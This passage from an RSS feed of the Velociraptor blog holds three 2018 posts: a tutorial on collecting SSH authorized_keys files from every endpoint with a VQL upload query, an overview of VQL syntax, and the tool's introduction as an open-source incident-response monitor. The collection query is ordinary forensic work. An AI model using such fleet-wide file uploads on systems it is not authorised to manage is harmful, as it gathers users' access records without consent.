&amp;lt;query&amp;gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Start with a simple glob query to find all authorized_keys files:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT FullPath from glob(globs=&amp;quot;/home/*/.ssh/authorized_keys&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Suppose we now want to actually grab a copy of all files so we can&#xA;archive them on the server This will keep a record of the authorized&#xA;keys on the server for each Interrogate flow. If we run the flow&#xA;periodically we will end up with a time based evolution of the&#xA;authorized keys files on each host. Pretty handy!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT FullPath,&#xA;   timestamp(epoch=Sys.Mtim.Sec) as Mtime,&#xA;   upload(file=FullPath) as Upload&#xA;FROM glob(globs=&amp;quot;/home/*/.ssh/authorized_keys&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can run the query locally using the Velociraptor tool:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;mic@localhost:/tmp&amp;gt; velociraptor query &amp;quot;select FullPath, \&#xA;   timestamp(epoch=Sys.Mtim.Sec) as Mtime, \&#xA;   upload(file=FullPath) as Upload \&#xA;   FROM glob(globs=[&#39;/home/*/.ssh/authorized_keys&#39;])&amp;quot;&#xA;&#xA;velociraptor: Uploaded home/mic/.ssh/authorized_keys (395 bytes)&#xA;[&#xA; {&#xA;  &amp;quot;FullPath&amp;quot;: &amp;quot;/home/mic/.ssh/authorized_keys&amp;quot;,&#xA;  &amp;quot;Mtime&amp;quot;: &amp;quot;2018-08-03T18:20:19+10:00&amp;quot;,&#xA;  &amp;quot;Upload&amp;quot;: {&#xA;    &amp;quot;Path&amp;quot;: &amp;quot;home/mic/.ssh/authorized_keys&amp;quot;,&#xA;    &amp;quot;Size&amp;quot;: 395&#xA; }&#xA;}&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Velociraptor&#39;s query command enables us to run the query directly on&#xA;the local host and observe the results. When the same query is issued to&#xA;the Velociraptor client, the same result will be generated and sent to&#xA;the server. This enables us to interactively develop and test our&#xA;queries without needing to run a full client/server.&lt;/p&gt;&#xA;&lt;p&gt;Note the upload() VQL function which causes the file to be uploaded to&#xA;the server. (When run locally the file will be copied to the upload&#xA;directory as can be seen by the upload confirmation message), but when&#xA;run within the Velociraptor client, the file will be uploaded to the&#xA;server and stored within the flow.&lt;/p&gt;&#xA;&lt;p&gt;We can now add the query to all Interrogate flows that will be run from&#xA;now on. We simply add it to the configuration file under the&#xA;Interrogate.additional_queries key:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;Interrogate.additional_queries:&#xA; Query:&#xA;   - Name: Authorized Keys&#xA;     VQL: &amp;gt;&#xA;       select FullPath, timestamp(epoch=Mtime.Sec) as Mtime,&#xA;       upload(file=FullPath) as Upload&#xA;       from glob(globs=&#39;/home/*/.ssh/authorized_keys&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From now on the additional query will be recorded for all clients. The&#xA;GUI shows it in the client information page:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/interrogation_make_the_endpoint_tell_us_what_it_knows//blog/html/2018/08/10/interrogation_make_the_endpoint_tell_us_what_it_knows/image6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1458&#34; height=&#34;903&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velocidex Query Language (VQL)</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/the_velocidex_query_language/</link>
      <pubDate>Fri, 10 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/the_velocidex_query_language/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;This page is written about a very old version of VQL and is retained&#xA;for historical purposes. Current VQL works differently - consult the&#xA;current documentation.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h1 id=&#34;vql-overview&#34;&gt;VQL Overview&lt;/h1&gt;&#xA;&lt;p&gt;VQL is only loosely based around SQL in the sense that the general&#xA;statement structure is similar. However, VQL is a very simple dialect.&#xA;Like SQL, a VQL query produces a table of results with specific columns&#xA;and multiple rows. Unlike SQL, the data inside each cell is not limited&#xA;to simple primitive types (like string, integer etc). In fact any JSON&#xA;serializable object can be generated in a table&#39;s cell. It is not&#xA;uncommon to generate an entire JSON object with additional fields in&#xA;each row for a single column.&lt;/p&gt;&#xA;&lt;p&gt;The basic structure of a VQL statement is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT Column1, Column2, Column3&#xA;FROM plugin(arg=value) WHERE Column1 &amp;gt; 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are three main parts: Column selectors, Plugin and Filter&#xA;Conditions.&lt;/p&gt;&#xA;&lt;h2 id=&#34;plugins&#34;&gt;Plugins&lt;/h2&gt;&#xA;&lt;p&gt;The VQL plugin is VQL&#39;s data source. Plugins are specific pieces of&#xA;code which may accept arguments and generate a sequence of rows. VQL&#39;s&#xA;strength is that these plugins are very easy to write and can be added&#xA;to Velociraptor in order to add extra functionality.&lt;/p&gt;&#xA;&lt;p&gt;Unlike SQL, VQL plugins take keyword arguments. This allows Velociraptor&#xA;plugins to be easily customizable and adaptable. For example, a plugin&#xA;may list all chrome extensions, and receive an argument pointing it to&#xA;the user&#39;s home directory so it can flexibly be applied to different&#xA;situations. The ability to provide arguments to plugins encourages&#xA;writing more generic plugins which can be reused in multiple situations.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;VQL plugins currently only accept keyword arguments. It is a syntax&#xA;error to pass args without naming them - &lt;code&gt;glob(&amp;quot;/bin/*&amp;quot;)&lt;/code&gt; is not valid&#xA;syntax, it should be &lt;code&gt;glob(globs=&amp;quot;/bin/*&amp;quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;It is important to appreciate that Plugins generate data dynamically.&#xA;The data is not stored in a database table first! Plugins may begin&#xA;generating data immediately and the VQL query will begin processing this&#xA;data, even if the total amount of data is very large. The Plugin&#39;s data&#xA;is not stored in memory all at once! This allows for plugins to produce&#xA;an unbounded number of rows and the query will proceed until the&#xA;required number of results is achieved.&lt;/p&gt;&#xA;&lt;p&gt;Plugins may also be cancelled when the query completes, even if the&#xA;plugin itself is not exhausted.&lt;/p&gt;&#xA;&lt;h2 id=&#34;column-selectors&#34;&gt;Column selectors&lt;/h2&gt;&#xA;&lt;p&gt;The Column selectors are a group of expressions specifying which columns&#xA;will be produced in the output table. As mentioned previously, the&#xA;values produced in each column are not limited to simple types -it is&#xA;common to produce entire JSON objects (and even additional tables),&#xA;lists of values etc.&lt;/p&gt;&#xA;&lt;p&gt;The column selectors specify a transformation to be performed on the&#xA;output of the plugin in producing the query&#39;s columns. The simplest&#xA;transformation is a single &amp;quot;*&amp;quot;, which means no transformation at all&#xA;(i.e. relay to the output table exactly the output of the plugin).&lt;/p&gt;&#xA;&lt;p&gt;Since plugins may produce any object (for example, a JSON object with&#xA;nested fields), VQL column specifications can dereference nested fields&#xA;within the produced data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT Sys.Mtim.Sec FROM glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Specifying only selected columns can limit the number of columns&#xA;produced and make the output more useful by removing unneeded fields.&#xA;For example the following will produce a result table with two columns&#xA;named FullPath and SIze and a row per file found in the /bin/ directory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath, Size from glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Column specifications can consist of arbitrary expressions - for example&#xA;addition, comparisons:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath + &#39;.bindir&#39;, Size from glob(globs=&amp;quot;/bin/*&amp;quot;) WHERE Size &amp;lt; 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this case it is often useful to add a Column Alias (Note that column&#xA;aliases can also be used in the WHERE clause):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath + &#39;.bindir&#39; as Sanitized, Size from glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;VQL Functions provide a way to extend VQL expressions. Unlike full&#xA;plugins they do not produce a sequence of rows, but simply produce a&#xA;single value (which can be an arbitrary o function formats a timestamp&#xA;as a string. This is useful since many plugins produce times in seconds&#xA;since epoch time:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath, timestamp(epoch=Sys.Mtim.Sec) as mtimefrom glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Some VQL functions have side effects, or are more expensive to run. It&#xA;is important to understand that VQL transforms the columns emitted from&#xA;a plugin BEFORE it applies filtering conditions. This is needed in order&#xA;to allow for column transformations to participate in the filter&#xA;condition (via the alias).&lt;/p&gt;&#xA;&lt;p&gt;Due to this order of operations the following query will upload all&#xA;files, ignoring the WHERE condition because the upload() function will&#xA;be evaluated on each row, even if the WHERE clause causes the row to be&#xA;ignored:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath, upload(path=FullPath)&#xA; from glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;      WHERE Name =~ &amp;quot;bash&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To upload only the files matching the expression, the query must be&#xA;split into two - the first query applies the filtering condition and the&#xA;second query does the upload:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET files = SELECT FullPath from glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;    WHERE Name =~ &amp;quot;bash&amp;quot;&#xA;SELECT FullPath, upload(path=FullPath) from files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;vql-subselects&#34;&gt;VQL Subselects&lt;/h2&gt;&#xA;&lt;p&gt;Unlike SQL, VQL does not have a join operator. SQL is designed to work&#xA;with databases, and databases have multiple strategies for optimizing&#xA;query execution (like adding table indexes, query planners etc).&#xA;Traditionally, SQL authors prefers joins over subselects because in a&#xA;real database JOIN operations are more optimized to use the database&#39;s&#xA;indexes and query optimizer. However JOIN operations are arguably harder&#xA;to read and it is hard to predict the order at where operations will be&#xA;run (e.g. which table will use an index and which will use a row scan).&lt;/p&gt;&#xA;&lt;p&gt;Since VQL has no indexes nor does it have a query optimizer,&#xA;implementing JOIN operations does not make sense. Instead, VQL&#xA;implements subselects and multi-statement queries and using these tools&#xA;it is possible for VQL authors to precisely control the query execution&#xA;plan so it is most efficient.&lt;/p&gt;&#xA;&lt;p&gt;In this sense VQL authors are left to specify the most efficient course&#xA;of query execution themselves instead of relying on a query optimizer.&#xA;This is normally done by dividing the query into smaller queries and&#xA;combining their results in the best order.&lt;/p&gt;&#xA;&lt;p&gt;Consider the following query that attempts to search small files for the&#xA;keyword &amp;quot;foobar&amp;quot;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT FullPath from glob(globs=&amp;quot;/bin/*&amp;quot;) where&#xA;   grep(path=FullPath, keywords=[&amp;quot;foobar&amp;quot;]) and Size &amp;lt; 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Velociraptor will execute the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run the glob() plugin to produce all the files in the /bin/&#xA;directory&lt;/li&gt;&#xA;&lt;li&gt;Transform each row to produce the FullPath.&lt;/li&gt;&#xA;&lt;li&gt;Evaluate the Filter condition on each row. The filter condition&#xA;requires running the grep() plugin on each file looking for the&#xA;keyword and evaluating if the SIze of the file is less than 1000.&lt;/li&gt;&#xA;&lt;li&gt;If both conditions are TRUE then Velociraptor will emit the row into&#xA;the result table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It is obvious that this is an inefficient query because each and every&#xA;file will be searched for the keyword regardless of its size. However,&#xA;there is no point even trying if the file size is not less than 1000&#xA;bytes!&lt;/p&gt;&#xA;&lt;p&gt;The problem here is that there are two conditions which both must be&#xA;true - but each condition has a different cost associated with it.&#xA;Clearly the grep() condition is more expensive since it requires opening&#xA;the file and reading it completely. The Size condition is extremely&#xA;cheap since it is just an integer comparison.&lt;/p&gt;&#xA;&lt;p&gt;However, VQL is not aware of the relative cost of the two conditions -it&#xA;does not know that grep() is inherently an expensive operation since to&#xA;VQL it just looks like another function. Although VQL does some&#xA;short cutting (for example it will cancel the grep() function if Size &amp;gt;=&#xA;1000) this shortcut cancellation may arrive too late to stop grep() from&#xA;doing a significant amount of work. The VQL author must be aware of the&#xA;relative costs of the different operations and how the query should be&#xA;structured for maximum efficiency.&lt;/p&gt;&#xA;&lt;p&gt;What we would really like is for VQL to evaluate the cheap condition,&#xA;and only for those files smaller than 1000 bytes, evaluate the grep()&#xA;condition. This allows us to eliminate most files immediately (since&#xA;most files are larger than 1000 bytes) such that we only bother to&#xA;grep() very few files.&lt;/p&gt;&#xA;&lt;p&gt;This can be achieved by splitting the query into two and chaining them&#xA;together:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;LET file = select * from glob(globs=&amp;quot;/bin/*&amp;quot;) WHERE Size &amp;lt; 1000&#xA;&#xA;SELECT FullPath from file WHERE grep(&#xA;   path=FullPath, keywords=[&amp;quot;foobar&amp;quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The LET keyword allows us to define a &amp;quot;stored query&amp;quot;. A Stored Query&#xA;is a query which is assigned into a variable name - you can think of the&#xA;statement as running the entire query and storing the output into a&#xA;single variable.&lt;/p&gt;&#xA;&lt;p&gt;The second query then takes the result of this query and applies further&#xA;transformations and filtering on it. By ensuring that the cheap&#xA;conditions are evaluated in the stored query, we can ensure that the&#xA;number of rows stored in the LET expression is smaller than the total&#xA;number of rows produced by the glob() plugin, and therefore the grep()&#xA;function will be applied on few rows.&lt;/p&gt;&#xA;&lt;p&gt;::: {.note}&#xA;::: {.admonition-title}&#xA;Note&#xA;:::&lt;/p&gt;&#xA;&lt;p&gt;You can think of stored queries as running in multiple steps: First the&#xA;LET query is executed, then all its rows are stored in the files&#xA;variable, while the second query reads each row and applies its own&#xA;filtering on it. In reality though, the LET query is lazy in its&#xA;evaluation and will only produce results when required. Velociraptor&#xA;does not store the entire result table of the LET query in memory at&#xA;once! It is quite safe therefore to run a very large query in the LET&#xA;clause without fear of memory overrun.&#xA;:::&lt;/p&gt;&#xA;&lt;h2 id=&#34;escaping-parameters&#34;&gt;Escaping parameters&lt;/h2&gt;&#xA;&lt;p&gt;VQL queries often need to take user input. For example consider the&#xA;query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT FullPath from glob(globs=&amp;quot;/bin/*&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We might want to allow the user to specify the glob expression and&#xA;create the query programmatically. While it is possible to ensure user&#xA;input is escaped this is inefficient and tedious.&lt;/p&gt;&#xA;&lt;p&gt;VQL queries have an &amp;quot;Environment&amp;quot;. The Environment is essentially the&#xA;evaluation scope of the query - in other words it contains all the&#xA;values which can be accessed by name. For example when we call a VQL&#xA;function like timestamp(), it is placed in the evaluation scope. It is&#xA;possible to place anything in the environment (or the evaluation scope)&#xA;and in particular, user parameters can also be placed there. In this&#xA;case there is no need to escape user input as it is treated as a part of&#xA;the environment and not the query. For example placing PATH=&amp;quot;/bin/*&amp;quot;&#xA;into the environment, will allow the following query to run&#xA;successfully:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT FullPath from glob(globs=PATH)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You should always try to write VQL queries referring to parameters in&#xA;the environment because this makes them reusable - the scope parameters&#xA;become inputs to your query and the query becomes a reusable function.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Introducing Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/10/introducing_velociraptor/</link>
      <pubDate>Thu, 09 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/10/introducing_velociraptor/</guid>
      <description>&lt;h1 id=&#34;hunting-and-responding-like-a-raptor&#34;&gt;Hunting and responding like a raptor!&lt;/h1&gt;&#xA;&lt;p&gt;At Velocidex we have been running open source endpoint monitoring tools&#xA;for our clients in order to detect and respond to incidents. One of our&#xA;favorite tools is GRR, developed by Google internally and then released&#xA;as open source. GRR is a very powerful tool, with a polished UI and good&#xA;documentation.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately the open source version released by Google suffers from&#xA;some shortcomings and so we have decided to develop a new project, built&#xA;on the shoulders of giants called Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;These are Velociraptor&#39;s design goals:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Focus on data collection.&lt;/strong&gt; Velociraptor&#39;s primary use case is to&#xA;collect data and export it to other systems. Velociraptor does no&#xA;analysis itself and therefore has no need for a complex data&#xA;model.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Flexibility&lt;/strong&gt;. Velociraptor can adapt easily to new requirements&#xA;without needing to redeploy either clients or servers. Using VQL&#xA;(Velocidex Query Language) provides flexibility in the type and&#xA;number of queries that are used to rapidly adapt to changing&#xA;requirements. VQL allows us to collect just the information needed&#xA;and no more in an adaptive way.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Remove abstractions&lt;/strong&gt;. Velociraptor aims to be as simple to&#xA;understand as possible. The default data store simply stores files&#xA;in the file system which may be easily inspected by the user. No&#xA;special tooling is required to script or manage Velociraptor.&#xA;Reduce demand on the data store. Rather than increase the data&#xA;store requirements, we want to simplify the design to the point&#xA;that requirements on the data store are so low, one can run a&#xA;medium to large sized deployment with very few resources (down to&#xA;perhaps a single server machine). In fact the default data store&#xA;does not even use a database, but simply uses flat files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Simplify everything!&lt;/strong&gt; Velociraptor aims to be very simple to run&#xA;and administer. We remove a lot of the GRR functionality that we&#xA;don&amp;rsquo;t find we use often. Velociraptor ships as a single, statically&#xA;linked executable which can perform all actions necessary for&#xA;deployers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In short we really wanted something like this:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/introducing_velociraptor//blog/html/2018/08/10/introducing_velociraptor/image5.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;400&#34; height=&#34;372&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image5.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is a new end point monitoring and IR&#xA;tool built upon GRR&#39;s groundwork and experience. To be clear, we reused&#xA;some of GRR&#39;s code and some design elements, but Velociraptor is a new&#xA;project and is largely a rewrite of GRR&#39;s codebase. Like GRR,&#xA;Velociraptor is released under an open source license and is a community&#xA;project hosted on &lt;a href=&#34;https://gitlab.com/velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;https://gitlab.com/velocidex/velociraptor&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It is still very early days and we would love to receive feedback and&#xA;suggestions. This is the first technology preview release and we hope to&#xA;make a more stable and comprehensive release in the coming months. As&#xA;Velociraptor becomes more battle tested we hope the codebase will&#xA;stabilize.&lt;/p&gt;&#xA;&lt;p&gt;The near term roadmap is:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Improve support for more operating systems. Especially Windows:&lt;/li&gt;&#xA;&lt;li&gt;Registry based VQL plugins.&lt;/li&gt;&#xA;&lt;li&gt;NTFS support for raw disk access.&lt;/li&gt;&#xA;&lt;li&gt;Memory scanning and rudimentary Memory analysis&lt;/li&gt;&#xA;&lt;li&gt;Design a more efficient client/server communication mechanism - long&#xA;polling is problematic since clients only poll infrequently (e.g.&#xA;every 10 minutes). We want to be able to control all clients&#xA;quickly.&lt;/li&gt;&#xA;&lt;li&gt;Develop a library of VQL expressions which may be reusable. This&#xA;should be similar to GRR&#39;s idea of Artifacts but be more geared&#xA;towards VQL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Please play with it and send feedback to&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/10/introducing_velociraptor//blog/html/2018/08/10/introducing_velociraptor/image11.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;320&#34; height=&#34;248&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;image11.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;</description>
    </item>
  </channel>
</rss>
